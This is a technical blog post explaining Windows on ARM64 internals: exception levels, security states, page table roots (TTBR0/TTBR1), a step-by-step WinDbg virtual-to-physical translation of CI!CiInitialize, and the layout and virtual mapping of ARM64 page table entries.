<p>We have taken a bit of a detour, so let’s get back to where we were - exception levels. Traversing backwards for a second we can recall earlier that the exception level, when execution was in user-mode, was EL1 and not EL0 via WinDbg. Let’s now talk about why this is. The answer is very simple actually, and it has to do with the way we are querying it (hint, the current EL really is EL0!). The reason why we see EL1 has to do with how the <code class="language-plaintext highlighter-rouge">rdmsr</code> command in WinDbg works. When <code class="language-plaintext highlighter-rouge">rdmsr</code> is executed, this will actually invoke a kernel function (specifically <code class="language-plaintext highlighter-rouge">nt!KdpSysReadMsr</code>). It is therefore the <em>kernel</em> which executes the register read. Since the read will always happen in kernel-mode, the current exception level will always be <code class="language-plaintext highlighter-rouge">1</code> in the eyes of the <code class="language-plaintext highlighter-rouge">rdmsr</code> command. To get the “real” value in user-mode we can instead write a basic application to read the current exception level register in user-mode (which, again, goes back to what I mentioned earlier - some system registers can be read from EL0/user-mode).</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//</span>
<span class="c1">// ARM64_SYSREG is defined in winnt.h.</span>
<span class="c1">// _ReadStatusReg is defined as an intrinsic function in intrin.h.</span>
<span class="c1">//</span>
<span class="k">const</span> <span class="kt">int</span> <span class="n">currentElReg</span> <span class="o">=</span> <span class="n">ARM64_SYSREG</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">2</span><span class="p">);</span>
<span class="n">wprintf</span><span class="p">(</span><span class="s">L"[+] CurrentEL: %llx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">_ReadStatusReg</span><span class="p">(</span><span class="n">currentElReg</span><span class="p">));</span>
</code></pre></div></div>

<p><img src="/images/arm64paging-3b.png" alt="" /></p>

<p>In addition to exception levels, ARM has another item of interest in the execution model which helps define privileges - the “security state”. We will briefly talk about it, as it is not used on Windows.</p>

<h2 id="security-states-secure-vs-non-secure">Security States: Secure Vs. Non-Secure</h2>
<blockquote>
  <p>I would like to preface this section to say that is is, effectively, not applicable for Windows - but it is worth a small blurb.</p>
</blockquote>

<p>A feature called <a href="https://www.arm.com/technologies/trustzone-for-cortex-a">TrustZone</a>, on ARM, is present in order to to split out the computer into two “states”: secure and non-secure state. These are self-explanatory terms - some parts of the computer we want to “hide away” from non-secure portions of the computer. For example, “secure state” has access to both secure and non-secure state memory, system registers, etc. However, non-secure state only has access to non-secure state memory, system registers, etc.</p>

<p>Secure and non-secure states are similar in concept to that of VTL 0 and VTL 1, where certain regions of memory (secure state memory) are isolated from less-trusted entities (like non-secure state memory). There is a special exception level, exception level 3 - the secure monitor - which is responsible for facilitating transitions between secure/non-secure state and also handles requests for Secure Monitor Calls (SMC) - which effectively is a special instruction that causes an exception into EL3. This allows, for instance, non-secure world to communicate with secure world.</p>

<p>Since Windows has its own concept of secure/non-secure (VTLs), “secure state” is not used on Windows (Windows never really touches EL3). This is corroborated by the following statement from <em>Windows Internals, 7th Edition, Part 2</em>:</p>

<blockquote>
  <p>Although in Windows the Secure World [Secure state] is generally not used (a distinction between Secure/Non-secure world is already provided by the hypervisor through VTL levels), …</p>
</blockquote>

<p>More information about security states can be found <a href="https://developer.arm.com/documentation/102412/0103/Execution-and-Security-states/Security-states">here</a>.</p>

<h2 id="current-execution-state">Current Execution State</h2>
<p>Before ending this portion of the blog, related to system architecture, there are two other points of contention to bring up. On an x86 system, the current “processor block” is always accessible through the <code class="language-plaintext highlighter-rouge">gs</code> segment register. However, ARM does not have the concept of segmentation in the same way that x86 does. Because of this, we need a new way to store “the current” processor block, thread, etc.</p>

<p>On Windows ARM systems, Windows treats the <code class="language-plaintext highlighter-rouge">X18</code> (called <code class="language-plaintext highlighter-rouge">XPR</code> as well, or “platform register”) register as a <em>reserved</em> register. This always points to the current <code class="language-plaintext highlighter-rouge">KPCR</code> structure in kernel-mode and, in user-mode, always points to the current <code class="language-plaintext highlighter-rouge">TEB</code> structure.</p>

<p><img src="/images/arm64paging-3c.png" alt="" /></p>

<p>There are, however, some “other” registers which are used to store OS/thread-specific information. ARM documentation defines this as “OS-use” and, therefore, “not used by the processor”. They <a href="https://learn.microsoft.com/en-us/cpp/build/arm64-windows-abi-conventions?view=msvc-170#system-registers">are</a> up to the discresion of the OS:</p>

<ol>
  <li><code class="language-plaintext highlighter-rouge">TPIDRRO_EL0</code> (current CPU -&gt; accessible in EL0)</li>
  <li><code class="language-plaintext highlighter-rouge">TPIDR_EL1</code> (current <code class="language-plaintext highlighter-rouge">KPCR</code>)</li>
  <li><code class="language-plaintext highlighter-rouge">TPIDR_EL0</code> (reserved)</li>
</ol>

<p>Windows still uses <code class="language-plaintext highlighter-rouge">X18</code>/<code class="language-plaintext highlighter-rouge">XPR</code> when calling macros, for instance, that “get” the current KPCR instead of using the system register.</p>

<h2 id="windows-virtual-memory-internals---arm64-edition">Windows Virtual Memory Internals - ARM64 Edition</h2>
<p>Let’s now start talking about virtual memory internals and paging on ARM!</p>

<p>Before going further, however, it is probably prudent to mention the ARM version of “Second-Level Address Translation” since it is an important topic (as VBS always results in SLAT being used) and since it is not the primary topic of this blog post. ARM refers to SLAT as “stage 2” translations. With virtualization enabled the concept of <a href="https://connormcgarr.github.io/hvci/">“extended” page tables</a> still applies to ARM, although the terminology differs. As you may know, Intel leverages extended page tables (EPTs) to facilitate isolation and translation of memory “in a guest” to actual system physical memory. ARM has a similar concept, with “stage 1” translation referring to “intermediary” translations - being that of a virtual address to that of an “intermediary” physical address (similar to guest physical address on Intel). However, if a hypervisor is <em>not</em> present, stage 1 instead converts virtual addresses into <em>actual</em> physical addresses (since no hypervisor is present) and no further translation is needed. If a hypervisor is present, typically then what is known as “stage 2” translations will occur - where the previously-genereated intermediary physical address (IPA) is converted into actual physical memory (similar to GPA -&gt; SPA on Intel). So although in our example we will show the NT kernel facilitating the translation, <em>technically</em> these are all “IPA”, or intermediate physical addresses. However, memory in NT is <em>identity-mapped</em> - meaning that the root partition can still access “real” physical pages since all of the “guest” physical memory corresponds directly to <em>system</em> physical memory - although memory access is technically gated by stage 2 table translation.</p>

<p>Let’s now explore the virtual memory implementation on an ARM-based version of Windows!</p>

<h2 id="paging-hierarchy">Paging Hierarchy</h2>
<p>ARM-based processors also have a paging hierarchy similar to that of Intel. Standard 64-bit Intel machines today have 4 levels of paging, with LA-57 processors capable of implementing 5 levels (although this is beyond the scope of this blog post, as well as ARM’s own 52-bit and 56-bit implementation). This means that there are four page tables used in the virtual-to-physical address translation process on ARM64 when 4 levels of paging are involved.</p>

<p>Unlike Intel, ARM lets the operating system have more “of a say” in the configuration of what kind of translation schema will be in-use (of course, only if the architecture supports it, which can be determined via the <code class="language-plaintext highlighter-rouge">ID_AA64MMFR0_EL1</code> system register). What I mean by this is a specific <em>translation granule</em> is defined in a system register - which effectively defines the level of granularity that the final page in the memory translation process has, otherwise referred to as “the smallest block of memory that can be described”. This effectively means the size of a page is the granule. Just like Intel, each paging structure “addresses” a certain range of memory (e.g., table X describes 1 GB of memory, for example). The “last” or “final” paging structure typically describes the smallest unit of memory/final page - which is usually 4KB on 64-bit systems.</p>

<p>The most common example of this, on a 64-bit operating system, is 4KB - meaning translations, when the granule is 4KB, result in mapping a final, 4KB-sized physical page. Granules have a more specific meaning, however, and that is the granule helps to define which <em>bit</em> in a virtual address corresponds to the first index into the first page table.</p>

<p>There are typically 4 tables used for translation on most modern ARM64 machines. This can be seen below, and is taken from the ARM documentation found <a href="https://developer.arm.com/documentation/101811/0105/Translation-granule/The-starting-level-of-address-translation?lang=en">here</a>.</p>

<p><img src="/images/arm64paging-6.png" alt="" /></p>

<p>Instead of “PML4, etc.” the tables are named Level 0/1/2/3 - with the final step being a computation of an offset from the “last” table index (which is the index into the level 3 table). Each table is responsible for mapping portions of the entire VA space - just like Intel-based systems. As an example, just like Intel systems, the root page table (under the Windows 4KB granule schema) addresses 512 GB. This is because each page table still has, like Intel-based systems, 512 page tables (again, when 4KB pages are used. This changes when the granule does). Since Level 1 contains “1 GB mappings”, this means level 0 can contain 512 “level 1 entries” or “1 GB mappings” - meaning level 0 can address 512 GB of virtual memory.</p>

<p>Using the debugger, we can validate investigate <em>where</em> in the virtual address we must begin for the translation process. This location is defined by the architectural limit (64-bits in this case) and the granule. The granule on my machine is set to <code class="language-plaintext highlighter-rouge">4KB</code>, and is denoted by the system register value <code class="language-plaintext highlighter-rouge">TCR_EL1.TG0</code> and <code class="language-plaintext highlighter-rouge">TCR_EL1.TG1</code> (we will see why there are effectively “two” versions of everything, including page table root system registers shortly).</p>

<p><img src="/images/arm64paging-6a.png" alt="" /></p>

<p>With the architectural limit and granules known, we then can turn our attention to, again, the <code class="language-plaintext highlighter-rouge">TCR_EL1</code> system register, specifically the <code class="language-plaintext highlighter-rouge">TCR_EL1.T0SZ</code> (bits 0 - 5) and <code class="language-plaintext highlighter-rouge">TCR_EL1.T1SZ</code> (bits 16 - 21) values define which bit in the virtual address that represents the “true” size of the virtual address. <code class="language-plaintext highlighter-rouge">TCR_EL1.TXSZ</code> determines the <em>most significant bit</em> used in the VA translation process (e.g., the first bit used in the calculation for the first table index). On Windows for ARM, the values of <code class="language-plaintext highlighter-rouge">TCR_EL1.TXSZ</code> are both <code class="language-plaintext highlighter-rouge">0x11</code>, or <code class="language-plaintext highlighter-rouge">17</code> decimal. Taking the full size of a VA (64) and subtracting from it 17 yields a value of 47. This means the 47th bit (technically position 46, since we index from 0 - e.g., <code class="language-plaintext highlighter-rouge">46:0</code>) is the first bit we need to locate for the translation process. What this means is that Windows technically employs 47-bits for tranlsation on ARM - unlike x64 systems that typically employ <em>48-bits</em> for translation (notice I am referring to “bits used for translation” not the <em>actual</em> size of the address). Although on 47-bits are used for translation on Windows systems, Windows on ARM64 is <em>still</em> considered as using 128 TB of memory for user-mode and 128 TB of memory for kernel-mode - effectively meaning that although 47-bits are used for <em>translation</em> the addresses themselves are treated as “48-bit”. This is because although only 47-bits are used for translation, the 48th bit (meaning bit 47 from position 0) and onward are still actually used still to denote user/kernel (technically bits <code class="language-plaintext highlighter-rouge">63:47</code>, which is “bit 64 to bit 48” since we index from 0 denote user/kernel). Because of this, bit “48” is still <em>relevant</em>, but not used for translation purposes. On Intel, the 48th-bit not only denotes user/kernel but is still used in the translation process. This means that also ARM addresses are “relevant” through bits <code class="language-plaintext highlighter-rouge">47:0</code> - the same as Intel - and therefore we can say the address space is still the same (128 TB for user-mode and 128 TB for kernel-mode) even though only 46 of the bits are used for translation on ARM, as there is a <em>dedicated</em> bit (series of bits technically) for selecting either the kernel or user page tables (there are two page table roots on ARM in EL1), whereas Intel uses bit 47 to denote both user-mode and kernel-mode <em>and</em> also the first significant bit in the translation process.</p>

<p>As an aside, we will talk more in a second why there are two “page table roots”. Conceptually, we can say that the page table root is similar to the CR3 register on x86-based systems, and the <code class="language-plaintext highlighter-rouge">TXSZ</code> bit defines where in the virtual address we start for the first page table lookup.</p>

<p><img src="/images/arm64paging-7.png" alt="" /></p>

<h2 id="page-table-roots-and-memory-configuration">Page Table Roots And Memory Configuration</h2>
<p>One of the distinct differences on ARM systems is the boundary between user-mode and kernel-mode memory. Instead of “just” using a certain bit to denote the “lower” and “higher” address ranges ARM actually breaks out the page table roots for “lower” (user-mode) virtual addreses and “higher” (kernel-mode) addresses (although, technically, the “48th bit” is partly still responsible for determining which page table root is used in the table walk - and thus it can still be said that this bit also denotes user/kernel). <code class="language-plaintext highlighter-rouge">TTBR0_EL1</code> is the user-mode root and <code class="language-plaintext highlighter-rouge">TTBR1_EL1</code> is the kernel-mode root. For the user-mode root, bits 1 - 47 are the <em>physical address</em> of the page table root. Bit 0 refers to the <em>Common not Private</em> bit. On Windows, this is always set to <code class="language-plaintext highlighter-rouge">0</code>. Common not private refers to the fact that address and VM identifiers (which we will talk about shortly) can be shared across different processors. In fact, the Microsoft Surface Pro machine on which this blog was done does not even support CnP (via <code class="language-plaintext highlighter-rouge">ID_MMFR4_EL1</code>). This means that we can effectively treat bits 47-0 as the base root table physical address (similar to <code class="language-plaintext highlighter-rouge">CR3</code> on x86) for <code class="language-plaintext highlighter-rouge">TTBR0_EL1</code>.</p>

<p><img src="/images/arm64paging-8.png" alt="" /></p>

<p>Every user-mode process on Windows on ARM still carries “their” per-process page table root in <code class="language-plaintext highlighter-rouge">KPROCESS.DirectoryTableBase</code>. This value, on context switch, is then loaded in to the <code class="language-plaintext highlighter-rouge">TTBR0_EL1</code> system register - which maintains the “current” lower (user-mode) address space. This is how Windows on ARM, identically to x86, maintains a <em>private</em> process address space when a particular process is executing.</p>

<p><img src="/images/arm64paging-9.png" alt="" /></p>

<p><img src="/images/arm64paging-10.png" alt="" /></p>

<p>Two questions likely stand out:</p>

<ol>
  <li>Why is the “higher” (kernel) portion being computed from an offset of the user-mode page table root? Why would the user-mode root have any bearing on the kernel-mode root?</li>
  <li>Additionally, what is ASID, and why is it used in storing the both page table roots?</li>
</ol>

<p>The latter question is probably best-suited to be answered first. ASID, or <em>Address Space Identifier</em> is a very neat ARM concept. This allows effectively allows the system to “tag” <em>translations</em> (e.g., a translated virtual address) with an ASID. This associates a translation with a process. We will talk more about the Translation Lookaside Buffer (TLB) later, but the ASID is important to the TLB on ARM!</p>

<p>Coming back to the first question - why is the kernel page table root being configured in such a way? This comes as a result of <code class="language-plaintext highlighter-rouge">TTBR1_EL1</code> having a <em>slightly</em> different implementation on Windows and also the way Windows works in general - as well as some differences between ARM and Intel architectures.</p>

<p>Let’s talk first on how the address translation works. Earlier I mentioned that on ARM64, for Windows, translation starts at bit 47. The first table lookup (level 0) would theoretically be bits 47-39. However, this is one of the nuanced differences between x86 and ARM. Bit 47 helps to <em>denote</em> which page table root to use. So <em>technically</em> it is used in the translation process, but it is not used as <em>an index</em> into the first table. This means that bit 47 is “ignored” in the sense of being used to compute the index into the level 0 table. Why does this matter?</p>

<p>The addition of the value <code class="language-plaintext highlighter-rouge">0x800</code> to kernel page table root (<code class="language-plaintext highlighter-rouge">TTBR1_EL1</code>) from the user-mode root (<code class="language-plaintext highlighter-rouge">TTBR0_EL0</code>) is really the addition of “half” a page, which is <code class="language-plaintext highlighter-rouge">2048</code> decimal bytes. This means the addition of <code class="language-plaintext highlighter-rouge">0x800</code> bytes to <code class="language-plaintext highlighter-rouge">TTBR1_EL1</code> is a <em>compensation</em> for the fact that bit 47 is not used in the translation process. Recall that each page level has 512 entries. This is capable of addressing both the entire user-mode and kernel-mode virtual address space. So, the 512 entries are now <em>split</em> between both page table roots. The user-mode portion is in <code class="language-plaintext highlighter-rouge">TTBR0_EL1</code> (first 256) and the kernel-mode portion is in <code class="language-plaintext highlighter-rouge">TTBR1_EL1</code> (second 256) - for a total of 512 entries between them, split across 1 page of memory (e.g., 1 page of memory contains the 512 entries, 256 in each “half”, or <code class="language-plaintext highlighter-rouge">0x800</code>).</p>

<p>On ARM, just like x86, a page table entry is <code class="language-plaintext highlighter-rouge">sizeof(ULONG_PTR)</code> - which is 8 bytes. So, 256 * <code class="language-plaintext highlighter-rouge">sizeof(PTE)</code> (which is 8 bytes) gives a value of 2048 in decimal, or <code class="language-plaintext highlighter-rouge">0x800</code> in hex! This means the “second half” of the level 0 table/page table root - which is the kernel-mode portion - would come after the first 256 entries. Since 256 entries take up <code class="language-plaintext highlighter-rouge">0x800</code> bytes - this is exactly why the kernel-mode portion starts at <code class="language-plaintext highlighter-rouge">TTBR0_EL1</code> at offset <code class="language-plaintext highlighter-rouge">0x800</code>! Additionally, this means the “kernel-mode” portion of the page table root is also always swapped out on context switch - and does not just remain as a “flat” table for all kernel-mode memory. This is because a process on Windows may be executing in context of a particular process, but doing so in <em>kernel-mode</em>. An example of this is a system call transitioning into kernel-mode, but executing on the same thread which issued the system call. Because of this, even though kernel-mode memory has access to user-mode memory, it continues to do so in context of a particular private process address space. Since the page tables are per-process, Windows simply does the following (taken from Windows Internals, 7th Edition, Part 1):</p>

<blockquote>
  <p>To avoid having multiple page tables describing the same virtual memory [the shared kernel memory], the page directory entries that describe system space are initialized to point to the existing system page tables when a process is created.</p>
</blockquote>

<p>So although there is a “per-process” kernel page-table root (<code class="language-plaintext highlighter-rouge">TTBR1_EL1</code>), which is updated every context switch, the entries all mostly point to the same physical memory (meaning the kernel mappings are mostly “shared” across processes). This can be seen below. Using <code class="language-plaintext highlighter-rouge">!vtop</code> (though we will still show manually translating an address later) with <em>two</em> separate page table roots all of the paging structures used for translations are the exact same for a kernel-mode address - minus the first index (indexing level 0, which is the root. This is expected, because each process has a different base root address - but the rest of the physical addressing structures are the same, because they are simply copies):</p>

<p><img src="/images/arm64paging-11.png" alt="" /></p>

<p>We will see later on additional reasons why it is best to keep the system mappings as “per-process” when we talk about Address Space Identifiers (ASIDs).</p>

<h2 id="translation-process">Translation Process</h2>
<p>Let’s now, as an example, translate a kernel-mode virtual address with the knowledge we now have! Let’s attempt to translate the address of the kernel-mode function <code class="language-plaintext highlighter-rouge">CI!CiInitialize</code> using the page table root of our current process. Here I am using a local kernel debugger, so the debugger is always “in context” of the “current process” - which is <code class="language-plaintext highlighter-rouge">EngHost.exe</code>. This means the ARM system registers holding the page table roots, in my debugger, will always be “my own”.</p>

<p><img src="/images/arm64paging-12.png" alt="" /></p>

<p>After retrieving the page table root (remember, we are using <code class="language-plaintext highlighter-rouge">TTBR1_EL1</code> in this case because bit 47 is set to 1, which denotes use the kernel page table root) we then:</p>

<ol>
  <li>Extract bits 46 - 39 (bits 47-63 are simply used to denote the table! Bit 47 is <em>not</em> used in the translation) to retrieve the level 0 page table index</li>
  <li>Index the array (index number + data type size, which is <code class="language-plaintext highlighter-rouge">sizeof(PTE)</code>, or 8 bytes)</li>
</ol>

<p>This gives us the level 0 PTE, which allows us to find the level 1 page table root.</p>

<p><img src="/images/arm64paging-13.png" alt="" /></p>

<p>The raw value is <code class="language-plaintext highlighter-rouge">0x0060000081715f23</code>. These are the raw contents of a PTE (represented in software as <code class="language-plaintext highlighter-rouge">nt!_MMPTE_HARDWARE</code>). If you are familiar with Windows, you will know the PFN (page frame number) spans bits <code class="language-plaintext highlighter-rouge">47:12</code> (starting from bit 0). We can simply use bitwise operations to extract the PFN from the PTE, to denote the physical frame. From here, all we then need to do is multiply the PFN by <code class="language-plaintext highlighter-rouge">PAGE_SIZE</code> - which is 4KB (based on our granule). This gives us the <em>physical address</em> of the level 1 page table (remember a physical address is simply just a PFN * <code class="language-plaintext highlighter-rouge">PAGE_SIZE</code>).</p>

<p><img src="/images/arm64paging-14.png" alt="" /></p>

<p>As we just say, bits <code class="language-plaintext highlighter-rouge">46:39</code> from the target VA are used for the first table index (level 0), and now bits <code class="language-plaintext highlighter-rouge">38:30</code> are used to index the next table (level 1).</p>

<p><img src="/images/arm64paging-15.png" alt="" /></p>

<p>The raw value of this PTE is <code class="language-plaintext highlighter-rouge">0x0060000081714f23</code> - and this PTE’s PFN describes where the <em>next</em> page table (level 2) lives.</p>

<p><img src="/images/arm64paging-16.png" alt="" /></p>

<p>With the base address of the level 2 table, we can simply repeat the process. Bits <code class="language-plaintext highlighter-rouge">29:21</code>in the VA (<code class="language-plaintext highlighter-rouge">CI!CiInitialize</code>) are the index used to find the <em>next</em> table - the final level 3 table.</p>

<p><img src="/images/arm64paging-17.png" alt="" /></p>

<p>This time the raw PTE value is <code class="language-plaintext highlighter-rouge">0x0060000081d04f23</code>. We now have a PTE that describes the last page table, level 3. We can simply extract the physical page of the level 3 page table and index it one last time to find our final 4KB physical page.</p>

<p><img src="/images/arm64paging-18.png" alt="" /></p>

<p>With the physical address, we then can index the level 3 page table using bits <code class="language-plaintext highlighter-rouge">20:12</code>. This will give us the PTE that describes the final physical page (the physical address of <code class="language-plaintext highlighter-rouge">CI!CiInitialize</code>).</p>

<p><img src="/images/arm64paging-19.png" alt="" /></p>

<p>The final PTE’s raw value is <code class="language-plaintext highlighter-rouge">0x9040000fdc755783</code>. Extracting the PFN and calculating the physical address, however, seems a bit off. We get some valid physical memory, which seems to be a function (as it unassembles correctly), but it is not <code class="language-plaintext highlighter-rouge">CI!CiInitialize</code>.</p>

<p><img src="/images/arm64paging-20.png" alt="" /></p>

<p>This is because, although bits <code class="language-plaintext highlighter-rouge">20:12</code> do the last of the page table indexes, bits <code class="language-plaintext highlighter-rouge">11:0</code> still mean something. Bits <code class="language-plaintext highlighter-rouge">11:0</code> are meant to be used as an <em>offset</em> into the final translation. What this means, is the physical address produced by the level 3 index (the final block) <em>still</em> needs the remaining bits added on. When we do this, we get the correct physical address of <code class="language-plaintext highlighter-rouge">CI!CiInitialize</code>!</p>

<p><img src="/images/arm64paging-21.png" alt="" /></p>

<p>This means the final physical address for <code class="language-plaintext highlighter-rouge">CI!CiInitialize</code> is <code class="language-plaintext highlighter-rouge">0xfdc7552c0</code>! We can confirm this with the <code class="language-plaintext highlighter-rouge">!vtop</code> extension.</p>

<p><img src="/images/arm64paging-22.png" alt="" /></p>

<p>Now, the key obviously here was the leveraging of the PTEs to denote the physical addresses of the paging tables. We have thusfar just referred to PTEs as very “abstract” concepts - with just raw values. Because the PTE layout slightly differs from traditional x86 machines to ARM machines, it is worth talking about the layout of the PTEs on Windows and how also how they are managed.</p>

<h2 id="arm64-page-table-entries">ARM64 Page Table Entries</h2>
<p>Windows under ARM64, identically to x86, leverages the <code class="language-plaintext highlighter-rouge">nt!_MMPTE_HARDWARE</code> structure to represent page table entries and uses <code class="language-plaintext highlighter-rouge">nt!_MMPFN</code> to describe page frame numbers (PFN). In addition, for reasons we will talk about later, the PTEs are accessible on Windows systems in <em>virtual</em> memory. Recall that in our previous translation analysis we were inspecting <em>physical</em> memory - which contained the PTEs. PTEs reside in <em>physical</em> memory.</p>

<p>Using WinDbg we can inspect the PTE associated with <code class="language-plaintext highlighter-rouge">KUSER_SHARED_DATA</code> in kernel-mode, as well as a user-mode allocation which was allocated via <code class="language-plaintext highlighter-rouge">MsMpEng.exe</code> (the Microsoft Defender process).</p>

<p><img src="/images/arm64paging-23.png" alt="" /></p>

<p><img src="/images/arm64paging-24.png" alt="" /></p>

<p>The first thing to call out here is that <code class="language-plaintext highlighter-rouge">PXE</code>, <code class="language-plaintext highlighter-rouge">PPE</code>, <code class="language-plaintext highlighter-rouge">PDE</code>, and <code class="language-plaintext highlighter-rouge">PTE</code> are irrelavant here. The appropriate names (level 0 entry, level 1 entry, etc.) have not been updated in the WinDbg <code class="language-plaintext highlighter-rouge">!pte</code> extension for ARM.</p>

<p>Additionally, many of the PTE fields will look similar to their x86 counterparts, but there are still a few fields which are worth talking about here:</p>

<ol>
  <li><code class="language-plaintext highlighter-rouge">MMPTE_HARDWARE.NotLargePage</code></li>
  <li><code class="language-plaintext highlighter-rouge">MMPTE_HARDWARE.NonSecure</code></li>
  <li><code class="language-plaintext highlighter-rouge">MMPTE_HARDWARE.NotDirty</code></li>
  <li><code class="language-plaintext highlighter-rouge">MMPTE_HARDWARE.Sharability</code></li>
  <li><code class="language-plaintext highlighter-rouge">MMPTE_HARDWARE.NonGlobal</code></li>
  <li><code class="language-plaintext highlighter-rouge">MMPTE_HARDWARE.PrivilegedNoExecute</code></li>
  <li><code class="language-plaintext highlighter-rouge">MMPTE_HARDWARE.UserNoExecute</code></li>
</ol>

<p>The first, <code class="language-plaintext highlighter-rouge">NotLargePage</code>, not not specific to ARM64. “Large pages” are referred to pages which map more memory than the specified granule (4 KB) allows for. This is very common, for instance, for code (usually the <code class="language-plaintext highlighter-rouge">.text</code> section but can be other sections) in <code class="language-plaintext highlighter-rouge">ntoskrnl.exe</code>. Recall that each page table (level 0, 1, 2) is responsible for addresses a certain amount of memory. As we have already talked about, level 0 addresses 512 GB (512 PTEs, each PTE maps 1 GB of memory). Level 3 addresses 4 KB per PTE. Level 2, which is the table we care about for large PTEs, maps 2 MB of memory per table. This means that a large page is a 2 MB memory mapping, with the final table (level 3) being ignored. Level 2’s PTE becomes the “final” PTE (plus any offset that needs to be added, like we saw with the level 3 table index). <code class="language-plaintext highlighter-rouge">NotLargePage</code> is set to <code class="language-plaintext highlighter-rouge">0</code> to say “this is a large page, ignroe the final PTE”.</p>

<p><img src="/images/arm64paging-25.png" alt="" /></p>

<p>The second is <code class="language-plaintext highlighter-rouge">NonSecure</code>. We talked briefly earlier about “secure and non-secure states”. The <code class="language-plaintext highlighter-rouge">NonSecure</code> bit refers to which security state the in-scope memory belongs to (secure can access secure <em>and</em> non-secure, non-secure can only access itself). As mentioned earlier, Windows does not rely on the security states and, instead, leverages the existing Virtual Trust Levels (VTLs) which have been around since Windows 10 via VBS. However, as ARM documentation states: “In non-secure state, the NS bits [and NSTable bits] in translation tables are ignored.” We have covered this previously - Windows does not “use” the security states and, therefore, although this bit describes the security state, it is ignored on Windows.</p>

<p>The third is <code class="language-plaintext highlighter-rouge">NonDirty</code>. This is only worth calling out because on ARM64 this is the <em>inverse</em> of what is present on x64 on Windows. What I mean by this is <code class="language-plaintext highlighter-rouge">NonDirty</code> means this page has <em>not</em> been written to, whereas x64 machines maintain a <code class="language-plaintext highlighter-rouge">Dirty</code> bit to maintain if a page <em>has</em> been written to.</p>

<p>The fourth is <code class="language-plaintext highlighter-rouge">Sharability</code>. This refers to the <code class="language-plaintext highlighter-rouge">SH</code> bit by ARM - known as the “shareable attribute”. The behavior for shareability is actually facilitated by <code class="language-plaintext highlighter-rouge">TCR_ELX.SHX</code> - where <code class="language-plaintext highlighter-rouge">X</code> represents the target exception level. For EL1 on Windows this is typically set to <code class="language-plaintext highlighter-rouge">0b11</code>, or <code class="language-plaintext highlighter-rouge">0x3</code> - which is why shareability is <code class="language-plaintext highlighter-rouge">3</code> for both the user-mode and kernel-mode <code class="language-plaintext highlighter-rouge">!pte</code> examples we showed earlier. <code class="language-plaintext highlighter-rouge">0x3</code> corresponds to what is known as “inner shareable” - which is one of three possible states (non-shareable, outer-shareable, and inner-shareable). The shareability of memory comes down to which processors the target memory can be cached on. By setting “inner-shareable” this allows <em>all</em> processors to guarantee cache coherency (all processors can see the same “view” of the caches. Updates to one of the caches are reflected in all caches). There are potentially other use-cases outside the scope of this blog post, especially when it comes to device memory and DMA. the <a href="https://developer.arm.com/documentation/ddi0487/ja/?lang=en">ARM A-Profile documentation</a> section B2.7.1 provides more information.</p>

<p>The fifth is <code class="language-plaintext highlighter-rouge">NonGlobal</code>. This is an actual ARM-defined bit referred to as <code class="language-plaintext highlighter-rouge">nG</code>. Non-global denotes that the target memory is only valid in context of a specific application. This is why you can see, for example, in our previous user-mode PTE screenshot (memory allocation from <code class="language-plaintext highlighter-rouge">MsMpEng.exe</code>) that the user-mode memory has the <code class="language-plaintext highlighter-rouge">NonGlobal</code> bit set, while the PTEs that map the kernel-mode memory have <code class="language-plaintext highlighter-rouge">NonGlobal</code> set to <code class="language-plaintext highlighter-rouge">0</code> - as the kernel-mode address space on Windows is shared. Non-global will be talked a bit more about when we get to the TLB.</p>

<p>The sixth and seventh bits are the <code class="language-plaintext highlighter-rouge">PrivilegedNoExecute</code> and <code class="language-plaintext highlighter-rouge">UserNoExecute</code> bits. These bits are very self-explanatory. The main thing to call out here is the presence of <em>two</em> bits to describe executable permissions - whereas the PTEs on x86-based systems have a single bit with <em>a separate</em> bit denoting if the page is a user or supervisor page. Note that ARM PTEs also still maintain the <code class="language-plaintext highlighter-rouge">Owner</code> bit (user/supervisor) on Windows.</p>

<p>Just like on x86-based installations of Windows, the PTEs are mapped into virtual memory and are <em>randomized</em> on a per-boot basis. My dear friend Alex Ionescu <a href="https://www.alex-ionescu.com/owning-the-image-object-file-format-the-compiler-toolchain-and-the-operating-system-solving-intractable-performance-problems-through-vertical-engineering/">talked</a> about how this works on Windows already. Wrappers like <code class="language-plaintext highlighter-rouge">nt!MiGetPteAddress</code>, for dynamic fetching of a particular PTE’s VA, are still present - although the symbol names are different. On ARM, for instance, <code class="language-plaintext highlighter-rouge">nt!MiGetPteAddress</code> simply points to <code class="language-plaintext highlighter-rouge">nt!HalpGetPteAddress</code>. However, ARM64’s implementation is slightly different based on the mechanics of accessing raw 64-bit values. ARM does not really have the concept of a “direct” loading of an arbitrary 64-bit immediate value (like <code class="language-plaintext highlighter-rouge">mov reg, 0x4141414141414141</code>). ARM, instead, has a typical pattern of loading a value from a relative offset. In addition ARM64 typically requires that instruction fetches are <em>aligned</em> to <code class="language-plaintext highlighter-rouge">sizeof(WORD)</code> - which refers to 4 bytes in the ARM world. So most code you see is always 4-byte aligned. Why do I bring this up? ARM “uses” “2, 4-byte” slots after <code class="language-plaintext highlighter-rouge">nt!HalpGetPteAddress</code>, <em>in-between</em> the PTE function and the next function in the <code class="language-plaintext highlighter-rouge">.text</code> section in <code class="language-plaintext highlighter-rouge">ntoskrnl.exe</code> as the target for the base of the PTEs. Since ARM effectively “guarantees” that code is 4-byte aligned, typically values that are 64-bit immediates, as an example, are stored at an offset from the instruction they are accessed from. This means that <code class="language-plaintext highlighter-rouge">nt!HalpGetPteAddress</code> + <code class="language-plaintext highlighter-rouge">0x10</code> is the target for the base of the PTEs on ARM. This value is dynamically relocated at runtime.</p>

<p><img src="/images/arm64paging-26.png" alt="" /></p>

<p>Lastly, as a point of contention, the process for indexing the PTE array (PTEs in virtual memory) is the same as x64:</p>

<ol>
  <li>Convert the target address to a virtual page number (VPN) - divide by <code class="language-plaintext highlighter-rouge">sizeof(PAGE_SIZE)</code></li>
  <li>Multiply the <code class="language-plaintext highlighter-rouge">VPN * sizeof(PTE)</code></li>
  <li>Add the base of the PTEs to the value</li>
</ol>

<p><img src="/images/arm64paging-27.png" alt="" /></p>

